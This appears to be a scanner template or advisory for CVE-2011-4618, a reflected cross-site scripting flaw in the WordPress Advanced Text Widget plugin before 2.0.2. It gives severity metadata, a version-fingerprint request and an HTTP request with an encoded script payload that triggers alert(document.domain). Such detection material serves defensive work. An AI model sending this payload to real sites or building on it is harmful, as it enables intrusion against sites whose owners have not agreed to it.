| Title | Advanced Text Widget < 2.0.2 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.04723 |
| CVE ID | CVE-2011-4618 |
| CWE ID | CWE-79 |
| Tags | cve2011 cve wordpress xss wp-plugin simplerealtytheme vuln |
A cross-site scripting (XSS) vulnerability in advancedtext.php in Advanced Text Widget plugin before 2.0.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
GET /wp-content/plugins/advanced-text-widget/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
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